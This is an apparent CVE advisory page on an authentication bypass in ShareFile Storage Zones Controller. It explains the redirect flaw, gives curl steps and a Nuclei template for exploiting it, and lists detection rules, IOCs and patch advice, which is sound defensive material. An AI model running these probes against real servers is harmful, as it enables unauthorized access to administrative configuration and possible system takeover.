CVE-2026-2699
Executive Summary
CVE-2026-2699 is a critical authentication bypass vulnerability in Progress ShareFile Storage Zones Controller (SZC). An unauthenticated attacker can access restricted configuration pages, leading to system configuration changes and potential remote code execution. The vulnerability has a CVSS score of 9.8 and is actively being weaponized. A public proof-of-concept (PoC) and Nuclei template are available, making exploitation straightforward. The vendor has released a patch in version 5.12.4.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a customer-managed appliance (Storage Zones Controller) and is not a software library package. No supply chain implications for NPM, PyPI, Go, or Ruby ecosystems.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
Threat Level: Critical. The vulnerability allows unauthenticated remote attackers to bypass authentication and access administrative interfaces, leading to full system compromise.
Deep Dive & Mechanics
The vulnerability resides in the ConfigService/Admin.aspx endpoint of the ShareFile Storage Zones Controller. The application performs an authentication check but fails to properly enforce it due to an "Execution After Redirect" (EAR) flaw. When an unauthenticated request is made to /ConfigService/Admin.aspx, the server sends a 302 redirect to a login page. However, the server continues processing the original request in the background, allowing the attacker to access the restricted page's content and functionality.
The Nuclei template demonstrates this by first verifying the server is a ShareFile Storage Server (via a GET request to the root), then sending a raw GET request to /ConfigService/Admin.aspx. The matcher checks for a 302 status code and a content length >= 10000, indicating that the redirect occurred but the page content was still served.
This bypass allows attackers to:
- Access configuration pages without authentication.
- Modify system settings.
- Potentially execute remote code by chaining with other vulnerabilities (e.g., CVE-2026-2701).
Vulnerable vs. Patched Code
Vulnerable Code (Pre-5.12.4):
The Admin.aspx page likely contains an authentication check that redirects unauthenticated users but does not halt execution. Example pseudocode:
protected void Page_Load(object sender, EventArgs e)
{
if (!IsAuthenticated())
{
Response.Redirect("/Login.aspx");
// Missing: Response.End(); or Context.ApplicationInstance.CompleteRequest();
}
// Sensitive operations continue here
LoadConfiguration();
}
Patched Code (5.12.4+): The fix ensures that after a redirect, execution stops immediately:
protected void Page_Load(object sender, EventArgs e)
{
if (!IsAuthenticated())
{
Response.Redirect("/Login.aspx");
Response.End(); // or Context.ApplicationInstance.CompleteRequest();
return;
}
LoadConfiguration();
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target running ShareFile Storage Zones Controller < 5.12.4.
- Network access to the target.
Steps:
Verify the target is a ShareFile Storage Server:
curl -s http://target/ | grep "ShareFile Storage Server"Exploit the authentication bypass:
curl -v -L --max-redirs 0 "http://target/ConfigService/Admin.aspx"The response will include a 302 redirect but also the full page content (length >= 10000 bytes).
For automated exploitation, use the Nuclei template:
nuclei -t CVE-2026-2699.yaml -u http://target
No Exploit-DB code was provided.
Blue Team (Detection & Response)
Detection:
- Monitor for requests to
/ConfigService/Admin.aspxfrom unauthenticated sources. - Alert on HTTP 302 responses with unusually large content lengths (>= 10000 bytes).
- Look for subsequent configuration changes or unusual outbound connections.
Response:
- Isolate affected systems.
- Review logs for unauthorized access to
/ConfigService/Admin.aspx. - Apply the patch (upgrade to 5.12.4+).
- Rotate any credentials exposed in configuration pages.
- Conduct forensic analysis for signs of remote code execution.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/ConfigService/Admin.aspxfrom unauthenticated IPs. - HTTP responses with status 302 and content length >= 10000 bytes.
- Subsequent connections to unknown external IPs (potential C2).
- HTTP requests to
File IOCs:
- Modified configuration files in the SZC installation directory.
- Unauthorized scripts or binaries in web-accessible directories.
Log IOCs:
- Web server logs showing access to
/ConfigService/Admin.aspxwithout prior authentication. - Event logs indicating changes to system configuration.
- Web server logs showing access to
Detection Engineering
YARA Rule
rule CVE_2026_2699_ShareFile_AuthBypass {
meta:
description = "Detects exploitation attempts for CVE-2026-2699 in web logs"
author = "Valters IT"
date = "2026-03-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-2699"
strings:
$s1 = "/ConfigService/Admin.aspx" ascii wide nocase
$s2 = "302" ascii wide
$s3 = "ShareFile Storage Server" ascii wide nocase
condition:
all of them
}
Sigma Rule
title: CVE-2026-2699 ShareFile Storage Zones Controller Auth Bypass
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthenticated access to /ConfigService/Admin.aspx
author: Valters IT
date: 2026-03-01
logsource:
category: webserver
product: iis
detection:
selection:
cs-uri-stem: '/ConfigService/Admin.aspx'
sc-status: 302
sc-bytes: '>=10000'
condition: selection
falsepositives:
- Legitimate admin access (should be authenticated)
level: critical
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-2699 ShareFile Storage Zones Controller Auth Bypass"; flow:to_server; content:"/ConfigService/Admin.aspx"; http_uri; nocase; content:"302"; http_stat_code; content:!"/Login.aspx"; http_uri; nocase; sid:1000001; rev:1;)
Nuclei Template (Provided)
id: CVE-2026-2699
info:
name: Progress ShareFile Storage Zones Controller - Authentication Bypass
author: DhiyaneshDk
severity: critical
description: |
Customer Managed ShareFile Storage Zones Controller (SZC) contains an authentication bypass (Execution After Redirect) that allows unauthenticated attackers to access restricted configuration pages. This leads to changing system configuration and potential remote code execution.
impact: |
Unauthenticated attackers can change system configuration and potentially execute remote code, leading to full system compromise.
remediation: Update ShareFile Storage Zones Controller to version 5.12.4 or later.
reference:
- https://github.com/watchtowrlabs/watchTowr-vs-Progress-ShareFile-CVE-2026-2699
- https://labs.watchtowr.com/youre-not-supposed-to-sharefile-with-everyone-progress-sharefile-pre-auth-rce-chain-cve-2026-2699-cve-2026-2701/
- https://docs.sharefile.com/en-us/storage-zones-controller/5-0/security-vulnerability-feb26
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-2699
cwe-id: CWE-284
epss-score: 0.23777
epss-percentile: 0.96026
metadata:
verified: true
max-request: 1
vendor: progress
product: sharefile_storage_zones_controller
fofa-query: title=="ShareFile Storage Server"
shodan-query: title:"ShareFile Storage Server"
tags: cve,cve2026,progress,sharefile,auth-bypass
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}"
host-redirects: true
max-redirects: 2
matchers:
- type: word
part: body
words:
- "ShareFile Storage Server"
internal: true
- raw:
- |
GET /ConfigService/Admin.aspx HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 302'
- 'content_length >= 10000'
condition: and
# digest: 4a0a00473045022100957d7f54a447c85ea1620dc575b5a8eff66b269aa3d9096790f57d1cb0ed027302201e917e56f83fafece8e8b729e3c078302e2c27b624608be2e0f3eb9e67ae4e53:922c64590222798bb761d5b6d8e72950
Remediation & Mitigation
Immediate Actions:
- Upgrade ShareFile Storage Zones Controller to version 5.12.4 or later.
- If immediate patching is not possible, restrict network access to the SZC management interface (e.g., via firewall rules or VPN).
- Monitor logs for exploitation attempts.
Long-term Measures:
- Implement Web Application Firewall (WAF) rules to block requests to
/ConfigService/Admin.aspxfrom untrusted sources. - Conduct regular vulnerability scans.
- Apply the principle of least privilege to all administrative interfaces.
Valters IT
{/* [Security Hash: C181415A8C93A378D20CBBD9] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.